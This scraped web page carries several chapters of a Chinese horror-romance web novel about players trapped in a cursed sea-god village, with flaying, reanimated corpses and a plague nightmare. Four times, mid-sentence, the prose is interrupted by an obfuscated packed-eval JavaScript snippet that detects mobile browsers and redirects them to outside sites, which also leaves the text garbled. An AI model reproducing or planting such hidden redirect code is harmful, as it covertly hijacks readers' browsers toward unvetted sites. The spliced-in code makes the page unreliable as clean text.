;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14607643|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全打结了。 这是个悖论。 “解决问题的答案不在十年前,但是获得那个答案的方法在十年前?” 宁汐柔的声音中带着犹疑。 “我有点听不懂了,你呢?” 另一边,柏景垣看着面朝海神灯陷入沉思的宁汐柔,默默走到了芹秀兰的身边,低声问。 “我从来没听懂过。” 芹秀兰很平淡地回答。 她有自己的生存法门,并不是依靠智力见长的玩家。 海陵依然跪在宁汐柔腿边。 他轻轻搭着宁汐柔的手,声音温柔: “大人,您离开之前,还有什么我能做的吗?” 他比宁汐柔更早知道她会第二次穿越,也似乎早就做好了面临这一刻的心理准备。 “你信仰海神吗?” 宁汐柔突然问了一句。 被这样当面质问,海陵反而笑了,抬头吻上她的手背: “是的,大人,我以我的生命,灵魂,一切,来信仰和侍奉着海神。” 宣誓一般,他说着,声音温柔而坚定。 在手背感受到一点濡湿的瞬间,宁汐柔眼角的疼痛再一次消失,随后,她听见系统的提示音在耳边响起: [叮!恭喜玩家再次触发支线任务:海神灯之谜] [检测到此为特殊支线任务,将为您自动开启时间传送!] [开启倒计时:3、2、1——] [请注意!此为您最后一次任务机会!] [若任务失败,传送通道将自动关闭!] [请您努力完成任务!] 又是熟悉的海浪声音,宁汐柔缓缓睁开眼睛。 长久未使用的双眼视线朦胧,被阳光刺激到,流下一串泪水。 她从海滩上坐起来,身边空无一人。 她怎么在这里? 上次回到十年后的时候,她是回到了自己消失的原地的。 宁汐柔甩了甩头,觉得身体十分沉重。 大概坐在原地休息了十几分钟之后,宁汐柔才觉得自己有足够的力气站起来了。 只是已经是晚上,海风很凉,宁汐柔居然觉得有些冷。 这不正常,她的身体并不是寻常的人类躯体,而是纯然由魔力构成的拟态,强度极高。 别说是夏季夜晚的海风,就是西伯利亚冬天的海风,也没办法让她打一个喷嚏。 现在的当务之急是确认时间。 [主线任务倒计时:36:57:56] 只有不到两天的时间了,这次的时间穿越似乎有时间的空滞。 无暇思考这件,宁汐柔站起来,往海神村村子里的方向走去。 她得和池隨冬先汇合。 然而,当她走到神观的外围时,里面一片死寂,连人的呼吸声也没有。 其他玩家现在不在这里吗? 这不应该,再新手的玩家都知道最好不要夜间在副本里走动。 难道程澎封会没有规避夜间行动吗? 其他人又怎么会跟着他一起? 滴——答—— 滴——答—— 那是什么东西滴落在地板上的声音,是液体。 是血吗? 宁汐柔推开门,尽管已经做好了心理准备,眼前的场景还是让她愣住了一瞬。 那是人皮被剥下来之后,粘连在上面的油脂,融化滴落的声音。 47. 海村往事(21) 宁汐柔差点以为自己要看到被剥了皮的池隨冬。 她相当确信自己还没准备好看到那一幕。 当然,这并不是说宁汐柔害怕那个场面。 对她而言,所谓寻常血腥残肢不要说让她恐惧,连就着下饭都嫌寡淡,就像人类不会因为看见了昆虫的尸体而头皮发麻。 但池隨冬是不一样的。 他是个美人,还是极其少见的顶级美人。 被迫撞见美玉碎裂的场面,宁汐柔自然觉得遗憾,她还是希望记住美玉青竹相映成趣的美好画面。 不过,幸好,那人皮上的面孔虽然已经模糊,但依然看得出平庸。 宁汐柔觉得有些眼熟,却不确定这人是谁。 她的记忆力很好不假,但如今眼前的障碍不是记忆力,而是人类面孔五官由三维立体到二维扁平之后产生的畸变。 好像是…… “你、回来了?” 池隨冬的声音在她身后响起。 宁汐柔转过身,看见他站在不远处。 此时离宁汐柔离开海神村时间线,已经过去了将近18个小时。 池隨冬肉眼可见的憔悴了许多,神色中带着惊讶,眼圈渐渐红起来。 憔悴的美人依然是美的,尤其是池隨冬这样的近乎无瑕的美人。 他依然是高挑挺拔的,只是肩膀微微垂下一点,像是暴雨后湿漉漉的青竹,看上去可怜又可爱。那双媚色难掩的桃花眼下一点乌青,在莹白如玉的肌肤上,如玉色晕开朦胧。 甚至可以说,这份憔悴为他增添了两分琉璃一般的盈美润泽,又脆弱华丽的破碎感。 宁汐柔不自觉舔了下唇。 她虽不是很饿,但是大餐站在眼前,好像不享用一二,是一种浪费。 “嗯,我回来了。” 她走上前几步,抬手勾住他的脖子,手上微微使力,让他附身。 池隨冬顺从地低下头,甚至可以说是主动被她拉到身前。 人类迷恋反差,上位者臣服,圣洁者堕落,诸如此类。 宁汐柔曾经听说过这样的论调。 她原本并不相信这种所谓的“反差”能带来什么新奇的体验。 如果冰淇淋吃起来是辣的,人类还会喜欢吗? 直到她一点点将这支霁月清风时,傲然山林中的青竹染上欲望的颜色,看着他在情与欲的海中挣扎沉溺,那双琥珀色的瞳孔融化在灼热的喘息中。 宁汐柔觉得自己开始有点理解那句话了。 作为魅魔,她自然享受情事欢愉,这是她天生擅长的娱乐活动。 但池隨冬给她带来的不止于此,是更加清晰明了的,独属于征服的快感。 “想我了?” 她用指甲轻轻刮过池隨冬的唇。 他有一双很柔软的唇瓣,总是泛着凉意,等待着在唇齿交缠间温度渐渐热起来。 “嗯。” 他眯起眼睛,张嘴,轻轻咬住宁汐柔的指节,用牙齿磨着,舌尖偶尔舔过她的肌肤。 旖旎,但又不止像是调情。 有一些更沉重的,不敢被宣之于口的感情,藏在那下面。 “真乖。” 宁汐柔捏住他的舌尖,笑了下,抬起下巴,亲了下他的鼻尖。 不是落在唇上的吻,却灼热非常。 “我……” 池隨冬琥珀色的眼中有朦胧的火焰爆裂,他想说些什么,却被宁汐柔打断。 “我走这段时间里,发生了什么?” 她松开池隨冬的舌头,神色自然地将手伸到他面前,这是让他擦干净的意思。 “……很多事情。我先从他说起。” 池隨冬眼神黯淡了一瞬,又恢复平静,说起宁汐柔消失之后,这条时间线上发生的事情。 宁汐柔是直接消失在祭台上的,当时只有村长、假傀儡师、海陵和池隨冬在场。 村长和假傀儡师当然是大惊失色,其实不止他们,在场所有人都一时间愣住了。 但海陵的反应是最快的,他扯了一通“海神使者传达完制作海神灯的神谕,被海神大人召回身边了。” 虽然这不能解释为什么池隨冬这几个“海神使者”没有消失,但其实也没有人真的很在意这件事,场面暂时算是稳住了。 池隨冬是后来才意识到这一点的。 当时他也是一头雾水,随后恐惧迅速取代了理智。 池隨冬刚刚听到了副本升级为规则类副本的系统通知,他最害怕的情况当然是宁汐柔无意中触发了什么规则,触发了必死结局。 只要一想到这个可能,他就连呼吸的频率都没法维持。 “我一定要找到你。” 说到这里,池隨冬的声音依然平静,绷紧的小臂肌肉却诉说了他内心的起伏。 这个人看上去平静内敛,其实内心的情绪从来都很强烈鲜明,宁汐柔再一次意识到。 她没有问,如果那是她真的是死了的话,池隨冬会怎么办。 莫名的,她并不是很想知道那个答案。 当时,池隨冬急迫地需要一个答案。 但是作为NPC的海陵可以打圆场,不能给他有关于玩家或者副本的答案。 所以他转头去找了程澎封。 程澎封先是给他吃了一颗定心丸,他告诉池隨冬,即使是触发了规则类副本中的死局,玩家也不会瞬间消失。 宁汐柔的消失,很可能是她触发了什么强制性的支线特务,或者特殊任务。 “我问他,那你会回来吗?什么时候会回来?他说,他也不知道,所以我决定等。” 池隨冬琥珀色的眼中倒映着宁汐柔的影子。 “等我解决了这里所有的谜题,你就不得不回来了。” 他说。 宁汐柔沉默了半响,这次是吻上了他的唇。 这样的话语让她心里无端坠了一寸,宁汐柔不知道这算不算触动或感慨。 她只是想让池隨冬先闭嘴。 青竹之下,冰冷的蛇破土而出,缠绕着她的舌尖,疯狂地试图汲取那一点温度。 宁汐柔不需要呼吸,却依然在某个瞬间感到窒息。 在她的手掌覆盖池隨冬脖颈的瞬间,青蛇温顺地停下,匍匐在地上,宣誓自己的忠诚。 “你现在解决了什么?” 她抬手抚过依然带着一点酥麻的唇瓣,问他。 “我的特殊身份卡是副本升级的关键,但是那个特殊任务是无法完成的。我估计没办法离开这个副本了。” 池隨冬的声音中带着还未褪去的热意,仿佛他不是在宣告自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617471|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的死刑。 “什么?” 宁汐柔的动作顿了一下。 “你看,” 池隨冬牵着宁汐柔的手,让她看向悬挂在屋顶上的人皮。 “在我触发了特殊身份卡任务之后,我的主线任务和其他玩家不一样了,我的任务是: [成为真正的傀儡师]。” 池隨冬说。 宁汐柔想起自己的新人副本。 她当时的主线任务,是: [成为真正的领主] 那也是个不可能的任务。 因为对于“真正的领主”,这个定义过于宽泛,过于概述,以至于这个问题几乎没有错误答案。 没有错误,也就无法产生正确。 但池隨冬的这个任务不一样。 “领主”是一个权力名号,但“傀儡师”是一个职业,职业资格这样的东西,必须有着明确的判定标准。 系统没办法在“什么是真正的傀儡师”上面做文章。 那么阻碍池隨冬的会是什么? “是什么”如果不是这个任务的痛点,那么任务无解的症结只能是另一个。 “能够教你成为真正的傀儡师的那个人,已经死了?” 宁汐柔问。 “嗯。” 池隨冬点头,看向被悬挂在房梁上的那张人皮。 “那就是向我发布任务的‘傀儡师’。他是个冒牌货,是假的傀儡师,他自己没有制作木偶傀儡的能力,他的所有名誉和荣光,都是从他的姐姐手里偷过来的。” 说到这里,池隨冬眼中浮现出一丝厌恶。 这是他第一次对除了宁汐柔之外的人表露出明显的情绪。 “他只是看到过他姐姐制作傀儡,记住了大致的过程,所以可以嘴上糊弄人,但自己并不会做。他把这些告诉我之后,就自杀了。 他死之前说,他姐姐早就死在海里了,没人能教我成为真正的傀儡师了。让我等着村长把我剥皮抽筋吧。” 池隨冬面无表情地说。 “所以,你先剥了他的皮,作为对他诅咒的回礼?” 宁汐柔问。 “……我没有那么无聊。” 池隨冬看着她的脸,沉默了半响,才摇头说: “我不会木雕,所以想试试能不能用人皮做傀儡的外型。” 尽管被宣判了死刑,但池隨冬并没有放弃。 既然副本NPC不能教他成为傀儡师,他就自己闯。 木偶傀儡师做不成,万一人皮傀儡师也算呢? 真有意思。 宁汐柔看着他那张无瑕的面孔,心里想道。 她自然知道后来的结果,池隨冬最终还是闯出了自己的一条路,成为了真正的傀儡师。 而且不是人皮傀儡,他依然使用着木偶傀儡。 等等,如果假傀儡师已经死了,那么这时候…… “芹秀兰呢?” 宁汐柔突然问。 “从我们第一天一起进入神观之后,我就没见过她了。” 池隨冬显然还记得芹秀兰是谁,回忆了一下,很快回答道。 “我们得找到她。” 宁汐柔站起来,看了一眼被挂在墙上的人皮,神色沉静。 “找到她的尸体。” 48. 海村往事(22) “她死了?” 池隨冬跟在宁汐柔身后,转身拿出来一个手电筒。 看来他也没少晚上出去。 “你听上去并不惊讶。你们这里已经开始死人了?” 宁汐柔问。 “嗯,贾班死了。” 池隨冬说。 贾班,就是最开始进入游戏之后,崩溃碎碎念自己血泪加班史的眼镜男玩家。 当时玩家们自我介绍之后,程澎封还调侃过他这个名字。 “怎么死的?” 宁汐柔显然对这个消息也不惊讶。 无限游戏对特殊身份卡玩家苛刻,但是对普通玩家也一样残酷。 她早从离秽口中知道了这一点。 “程澎封拿他试规则。” 池隨冬回答。 在宁汐柔离开的这十几个小时里,发生了很多事,其中一件就是新规则的出现。 这是程澎封的成果。 [规则一:海神是海神村的唯一信仰] 这是海神村线中出现的第一条规则,正如村中的神观、祭台、巫女海陵一样,彰显着对海神的信仰,在海神村中占据着多么重要的地位。 但程澎封是个老玩家了,而且是个绝对不弱的老玩家。 和宁汐柔一样,他也很快发现了这个村子中对于“信仰”的错位:简陋的图腾,干瘪的传说,几近于无的信仰创作,看似庄重但其实只是个空架子的神观和祭台。 他顺理成章地开始怀疑: 这座村庄,真的有他们自己所说的那样,那么信仰“海神”吗? 但有规则在前,他自然也不敢贸然行动。 虽说触犯规则未必会死,但谁会拿自己的命冒险? 当然要拿别人的。 贾班很信任程澎封,一直跟在这个老玩家的身后。 因为这也是他唯一的选择。 其他玩家几人,芹秀兰不知所终,池隨冬冷淡疏离,宁汐柔当时已经不存在于这条时间闲了。 况且,这三人在他眼中,也同样是对无限游戏一无所知的新玩家,就算愿意和他组队,又有什么意义呢? 他想跟着程澎封,就自然要听人家的话。 所以,当程澎封让他去以海神使者的身份,斥责村民们信仰不够忠实虔诚时,他照做了。 贾班打工多年,也不是傻子,他自然也考虑过其中的风险。 但这个行动看起来没什么不对劲的地方。 托宁汐柔的福,玩家们在海神村有一个统一的正当身份:海神侍者。 作为海神的使者,以这份身份去面向村民们传达一些消息,尤其还是和“海神”这个信仰本身就强相关的,似乎看上去再正常不过了。 这甚至还可以帮助他巩固这个人设,说不定能靠这个在村民心里建立起威严,以后就方便多了。 贾班心想。 在被他一顿骂之后,村长甚至还带着村民集体和他道歉,忏悔自己对于海神大人和海神使者们的怠慢,承诺会将祭典的规模再次提升,以显示村子里所有人的虔诚信仰。 然而,就在那天晚上,瘟疫爆发,贾班成了第一个在睡梦中溃烂的人。 也就在这是,程澎封找到了池隨冬,向池隨冬分享了他触发的第二条规则: [规则二:海神村人厌恶海神侍者,认为是他们带来了瘟疫] “这不可能。” 宁汐柔听到这一部分的时候,皱起眉头。 “对。” 池隨冬也点头。 是的,这个规则有问题。 早在玩家们来到海神村的第一个早上,宁汐柔以海神侍者的身份被村长邀请到了祭台。 在那时,村长就已经提到了在海神村蔓延的瘟疫,甚至表现得十分激动,认为村子里的瘟疫渐渐消失,是海神赐福庇佑的结果。 虽然现在来看,村长当时的表现可能只是一场对于“虔诚”的表演。 但是,“海神村瘟疫的出现早于玩家的出现”,这个客观事实是毋庸置疑的。 “所以这意味着,规则并不正确的。” 宁汐柔想明白了。 “程澎封也是这么说的。” 池隨冬说。 想要通关规则类副本,最重要的不在于玩家的实力,而在于“方向”。 玩家认识和使用规则的方向。 在副本中,这些规则的类型和范围几乎可以说是千变万化,他们有些是客观事实,也可能是行动指南,甚至可能真假参半。 而在《海神村之行》这个副本中,规则的类型是: “村民的口径。” 宁汐柔喃喃道。 海神村的规则不是行动指南,也不是客观事实,而是海神村村民嘴上说出来的“认知”。 或者直白点,谎言。 谎言之所以是谎言,是因为他们和事实不符。 就如同玩家们可以通过种种线索推翻规则一中“村民们的虔诚信仰”,也可以根据之前得到的线索,推翻规则二中“海神侍者带来了瘟疫”。 真正瘟疫的来源,宁汐柔在十年后也没有找到答案。 十年后的海陵只说了,那是在宁汐柔从祭台上消失,池隨冬开始学习傀儡制作之后大约不到一天的时间,在夜晚中,大家开始陷入醒不来的梦境。 时间线对得上。 也就是说, “从今天开始,海神村的人会迅速全部感染瘟疫,陷入沉睡。” 宁汐柔思考着。 如果海陵的叙述属实,那么…… 将村子里所有人“复活”的是什么? 他们在“复活”之后究竟有没有举办祭典? 池隨冬又为什么会被困? 还有…… 现在的池隨冬还不是傀儡师,那么是谁将芹秀兰制成了傀儡? 又为什么芹秀兰的傀儡线会在池隨冬手中? 程澎封看上去是个有实力的玩家,为什么他在十年后完全没有出现? “咚、咚咚——” 外面传来敲击声,但不是敲门,被敲响的,是门底下的木质门槛。 什么东西? 宁汐柔抬抬下巴,池隨冬走过去把门打开,眼前一片空白。 “咚、咚咚——” 两人的视线随着声音向下看去。 那是芹秀兰的头磕在门槛上的声音。 她面色漠然,眼中一片空茫,原本应该存放着瞳孔的地方,现在只有一片腐烂的血水淌下来。 但这并不是她最引人注目的地方。 因为她的头几乎整个被斩断,露出白色的骨头和断口处不断收缩着的肌肉,头颅和脖子之间只剩下一点皮肉相连。 她在地上爬行,似乎想要进入房间,然而她的头却不断磕在门框上,那一点皮肉被不断撕扯开,但却一滴血也没有滴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629666|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落在地上。 “她、还活着?” 池隨冬的声音中染上一点诧异,他蹲下来,将芹秀兰的头颅扶正,把自己的外套脱下来缠绕在她脖颈周边,想要做一个固定装置。 “没用的,她已经死了。” 宁汐柔说。 “那她怎么还会?” 池隨冬看着四肢依然抽动着想要往前爬的芹秀兰,不敢相信。 “因为欲望。” 宁汐柔一步步走近芹秀兰,抬起手,轻轻放在她的额头上。 芹秀兰那双原本盛放着双眼的孔洞转向宁汐柔的位置。 宁汐柔也看向她。 魅魔的眼睛与人类不同,她可以看见人类灵魂中欲望燃烧的火焰是什么颜色。 此刻,在宁汐柔眼中,芹秀兰的灵魂已经黯淡,这是生命溃散消逝的标志。 可她的火焰没有熄灭。 明黄色的,爆裂燃烧着的火焰,甚至在虚空中发出噼啪的炸裂声。 是欲望。 “存在”的欲望。 这份欲望接替生命力,让芹秀兰的尸体爬到了这里。 “她是来找你的。” 宁汐柔说。 “嗯?” 池隨冬一脸疑惑。 “她知道你接到了傀儡师的任务,所以来找你,让你把她制成傀儡,这样,她就能继续‘活’下去了。” 宁汐柔笑了一声,看着芹秀兰,声音中带上一点兴味: “怪不得她之后的‘存在’感那么弱,原来是在这里烧掉了。” 宁汐柔一直知道,人类有着无穷无尽的欲望,也会诞生各种各样的执念。 但在这之前,她都只将那些看做是他们点缀灵魂的装饰,是任她挑选的事物。 她还是第一次见到这样强大的欲望,强大到可以跨过生死。 有意思。 “可我不会。” 池隨冬的神色有些黯淡。 “你当然不会,因为她才是真正的傀儡师,只有她能教你怎么制作傀儡。 可偏偏她现在已经死了,又偏偏,你必须将她制成傀儡,她才能‘复活’。” 宁汐柔说到这里,忍不住拍了拍手: “真是漂亮的死局。” “……我会送你通关的。” 池隨冬沉默半响,抬起头看着宁汐柔。 宁汐柔没理会他,看着芹秀兰那张已无生气的面孔,突然说了一句: “果然这个样子,看着才眼熟。” 平静的,漠然的,没有生机和存在感的芹秀兰。 作为真正的傀儡师,她其实已经把制作傀儡的前置过程完成了,只差一点,她就能“活”过来。 “她需要一双眼睛。” 宁汐柔说。 一双足够强大的眼睛,能够将芹秀兰这份“存在”欲封存在她的躯壳里。 一双……海神赐予她的眼睛。 海神到底是谁? 在海神村的传说中,祂不过是个虎皮大旗,并不存在。 但从海陵和芹秀兰的信仰维护来看,祂又切实存在着,甚至做出过许多行动。 祂给了芹秀兰眼睛,救了海神村的女人们,祂有性格,好恶,会做出选择。 宁汐柔的视线缓缓移动,定定看着池隨冬。 池隨冬,傀儡师,芹秀兰傀儡丝线的操纵者…… 他,会是海神吗? 49. 海村往事(23) 池隨冬会是“海神”吗? 这个问题乍一看有些荒谬,甚至不可置信。 毕竟,池隨冬是玩家,拿着的还是外来者身份卡。 此刻,他的身份卡,和海神村之间没有前情过往,对于海神村来说,他是“新的”。 但是,这真的没有一点可能吗? 海神村的海神不存在,这一点宁汐柔已经大致确认了。 但十年后的时间线里,芹秀兰和海陵口中的海神未必是不存在的。 被困副本的这十年时间,池隨冬和这个副本之间必然产生了深度的联系。 最直接的一点证明,就是悬挂在巫女房间中的那盏海神灯。 甚至宁汐柔当时使用的那副“巫女”躯壳,池隨冬也曾经承认了,那是他做出来的傀儡身体。 “巫女”成为了新的巫女,前任巫女海陵则降格成为了巫女的侍女。 这其中的身份变化也有很意思。 如果以池隨冬就是“海神”的角度来思考。 有什么比“海神”制作的躯壳,更有资格成为海村至高无上的巫女呢? “虚假的信仰,也能诞育神明吗?” 宁汐柔喃喃自语着。 “什么?” 池隨冬没听清,转过头问。 “没什么。” 宁汐柔摇头,她的思路还没有足够清晰,不打算说出自己的猜测。 “你刚才说眼睛,我们怎么给她找眼睛,挖一双出来给她?” 池隨冬没有追问,将话题引回到芹秀兰身上。 芹秀兰的身躯此刻静静躺在地上,空洞的眼窝直勾勾冲着宁汐柔的方向。 她分明已经是一具尸体了,却依然“活”着。 “活人的眼睛是没办法放在死人的身体里,最多用上几天就会腐烂了。” 宁汐柔说。 “况且,就算能两天给她挖一副,这村子里的人也不够。” 海神村是个规模不大的村落,至多数百人。 而这些人也马上都要死了。 “快!快走!那些人要冲过来了!” 外面一阵慌张的脚步声响起,是程澎封,他推开门跑进来,看到房间里的场景之后,很明显呆滞了一瞬间。 宁汐柔和池隨冬站在一起,芹秀兰躺在地上,成了一具毫无生机的尸体。 在程澎封走进来的时,宁汐柔低头看了她一眼,有点疑惑。 “小妹你回来了?她、她这是死了?这不是瘟疫的死法,她是被谁杀了?” 他四周看了一圈,先是问宁汐柔,又看见芹秀兰的尸体,瞪大了眼睛。 “唉算了管不了那么多,咱们先走!那些村民现在都说是我们的到来引起了瘟疫,集结起来都要冲进来了!” 他说到这里,神色不大好看: “呸!管咱们什么事?他们自己遭了难,要杀人泄愤而已。” “他们往这边来了?” 宁汐柔看了他一会儿,才出声问。 “几十个人!咱们赶紧走吧!” 程澎封很着急。 “现在走了,主线任务怎么办?不通关会死吧。” 宁汐柔又问。 “还管什么主线任务啊?现在能活下来才是最重要的!要是咱们成了祭品,参加了祭典又有什么用?” 程澎封的声音扬起来。 “跑去哪里?” 宁汐柔又问。 “这么大一个岛,咱们躲起来就行了!他们自己也忙着瘟疫呢,已经死了不少人了!没什么力气追咱们!” 程澎封说。 池隨冬一直站在一边没说话,只是转头看着宁汐柔。 “你也发现不对了?” 宁汐柔笑了,开口问。 “……嗯。” 池隨冬点点头。 “你们说什么呢?还不走吗!” 程澎封问。 “走去哪儿?” 宁汐柔走到门口,院子里果然已经聚集了一群人,他们有的举着火把,有的拿着手电筒,每个人都瞪大了眼睛看着宁汐柔几人。 他们都是海神村的村民,年纪有老有少,个个皮肤黝黑,是在海边风吹日晒多年后才会有的痕迹。 此刻,他们脸上的皮肤一块块破裂,剥落,化作脓水,露出底下渐渐腐烂,却依然蠕动着的肌肉组织。 “我们已经在噩梦中了。” 她说。 身旁的程澎封从看见村民们之后就一直低着脑袋。 他的脚下也传来肌肤溃烂掉落的声音。 “贾班的死,证明了玩家也会死于瘟疫感染。但你一开始应该没那么害怕,毕竟他是在睡梦中死去的。” 宁汐柔慢悠悠说着, “所以,想要躲避瘟疫,只要不睡觉就可以了。你是老玩家,应该也开启了点数系统,身体经过强化,只是一两天不睡而已,不会有任何影响。” 听到“点数系统”四个字,程澎封猛地抬起头看着宁汐柔。 他的眼睛也已经开始溃烂,脓水落在脸上,像是浑浊的眼泪。 “点数系统?你不是新人?怎么可能……” 他的声带似乎也已经腐烂,声音嘶哑破碎。 “你不知道的是,并不是只有‘睡觉’这个行为会感染瘟疫,这里形成的噩梦,会将每个人无知无觉地笼罩进去。” 宁汐柔没理会他,自顾自说着。 “从进入噩梦的那一刻,你就已经死了,只是这个死亡的过程很慢,慢到当你认识到这一点的时候,已经无力回天。” “哈、哈哈哈哈……” 程澎封笑出声来,在他的笑声中,他的眼球从眼眶中滚落,摔到地上。 在这一刻,他才终于有了一点可以被称之为“真实”的表情。 “你的反应比我快,可是知道了又怎么样?我们都出不去了!都要死在这里了!” 他怒吼着,是怨恨也是不甘心。 “我在这个该死的游戏里呆了太久了!我早就出不去了!这个副本活下去了下个副本也一样!有什么区别?有什么意义?!不如死了,死了,死了算了!” “你真聪明啊,神出鬼没的,那是你的技能吗?让那个什么NPC上赶着讨好你,要是没有这个该死的瘟疫,我们真的能无伤通关吧。” 程澎封看着宁汐柔,苦笑两声。 他的身体已经几乎完全溃烂,不能继续支撑站立,跌坐在地上。 “还有你,长得好看,脑子也够用,真羡慕你啊……哈哈!两个明日之星,现在要和我死在一起了,我是不是该觉得自己也很幸运啊?” 他咳了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14649398|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两下,吐出腐烂的内脏碎片。 “我…我能问、问,你怎么发现的吗?” 他几乎已经死了,只剩下最后一口气,化作脓水的眼睛依然看向宁汐柔的方向。 宁汐柔也看着他,神色漠然平淡。 七十九、八十、八十一…… 她在心中默默数着。 程澎封死去了,他的灵魂和欲望一起消散,只剩下半幅即将完全腐烂的骨头架子。 “一分半。” 宁汐柔说。 从程澎封开始腐烂到彻底死去,只有一分半。 或许是因为在这个无限游戏中挣扎了太久,他连求生欲都已经被消磨到几近于无。 在灵魂死去后,他仅剩的欲望,只能让他的生命继续燃烧一分半钟的时间。 她的目光缓慢地转移到了池隨冬的脸上。 他依然如同初见时一般美丽,甚至可以说更美了。 那份郁郁青竹的清冷漠然被融化,他眼中生长出情绪,温度,和一些更加复杂的东西,这让他变得鲜活起来,像是被阳光普照之后,染上了温度的琉璃。 池隨冬又能撑多久呢? 十年吗? 哪怕□□已经全部消失,只剩下白骨悬挂。 他依然被游戏系统判定为“活”着。 他依然没有被燃烧殆尽。 他的欲望是什么? 他的执念是什么? “我也会那样吗?” 池隨冬问,他说着,居然笑了下。 一点泪意,一点恐惧,和一点不舍混杂着,琉璃花窗上刻印竹纹,濒临破碎的美人。 “我不知道。你害怕?” 宁汐柔问。 “怕。” 他的声音很轻。 “怕死?” 宁汐柔笑了。 “怕死,怕很多事情。” 他回答。 “你呢?你会活下来,是吗?” 池隨冬又问。 “差不多吧。” 宁汐柔的视线重新回到站在外面的村民身上。 他们没有往前冲,也没有攻击宁汐柔,因为他们自己也是噩梦的食物。 在神观的上空,一团颜色混沌的雾盘旋着,里面延展出无数个触手一样的肢体,缠绕在每个村民的身上。 这是只有宁汐柔的眼睛能看到的东西。 就如同她能看到,程澎封从跨进门的时候开始,灵魂就已经死去。 她能看到,芹秀兰燃烧着的强大存在欲的尸体中被替换掉,取而代之的是一个真正的尸体。 这才是她为什么能看出这里是噩梦,而非显示。 “其实我一直在想,他们的这个瘟疫到底是怎么来的?难道真是海神的诅咒吗?” 宁汐柔说着,眼神没有离开雾气,半响,才继续: “我曾经以为这个村子的虚假信仰,不过是用来遮掩罪恶的大旗,或者是控制民众的手段,但是我可想错了。” “他们真的想要用虚假的信仰造出来一个‘神’,而他们最后好像也的确成功了。” “可惜,虚假的信仰,只能诞育掠夺的伪神。” 她说着,对着那团雾气伸出手,像是在安抚孩童。 “真可怜啊,你的欲望,居然是‘消亡’呢。” 50. 海村往事(24) 浑浊的雾气盘旋在神观上空。 雾气中延伸出的触角缠绕在每一个村民身上,仿佛在吸食着他们的生命。 那是在海神村虚假信仰中诞育的伪神。 祂还未生出自我意识,没有喜怒哀乐。 唯一能够感受到的,只有痛苦。 逃避痛苦是生命的本能,祂没有意识,却生出了渴望。 痛苦消失的渴望,自己消失的渴望。 在理解“生命”之前,祂开始寻求“死亡”。 这就是“海神”吗? 宁汐柔看着那团雾气,一瞬间有些出神。 “神明……神明、怎么会是这种东西!” 一个怨毒的声音响起,村长缓缓从人群中走了出来。 说是走,也不大恰当,他更像是被自己那只拐杖“拖”出来的。 和其他一旦被雾气触角沾上,就即刻开始溃烂的普通村民不同。 村长看上去依然是“活”着的,只是面容开始快速地破败衰老下去。 原来如此,这就是他在十年后面容大变的原因。 看来,不知道用了什么方法,但他在这场“瘟疫”中活下去了。 “你以为,神明应该是什么东西?” 宁汐柔收回视线,慢悠悠地问。 此刻,池隨冬已经支撑不住身体,半跪在了地上,脸上冒出冷汗。 混沌的伪神也在吞噬着他的生命。 宁汐柔走到池隨冬的身边,蹲下看着他。 那张漂亮冷清的脸上,额角泛起一层薄汗,唇色近乎于纸的苍白,连呼吸的频率也变得极慢。 他还没有死去,但也不再拥有生机了。 “你,活下去……我知道你可以。” 他声音虚弱,拉住宁汐柔的袖子,几乎是祈求一样地问道: “你可以的,对吗?” “你就这么确定,自己会死?” 宁汐柔抬手摸上他的脸,指尖抚过他的眉眼鼻尖,最后落在那苍白的唇。 “我不知道。” 池隨冬枕上她的手,连勾唇的力气似乎也没有了: “不会吗?” “不会的,但也许,那并不一定是比死亡更好的事。” 宁汐柔摸了摸他的脸颊,说。 “是吗……” 他的声音渐渐微弱下去。 在他即将死去的前一秒,宁汐柔抬起手,捏碎了他身上的雾气触手。 “——!!!” 混沌的雾气在空中震颤,发出无声的尖叫。 祂没有眼睛,宁汐柔却感到了被“注视”。 “你!你怎么?!” 村长不可置信地看向宁汐柔。 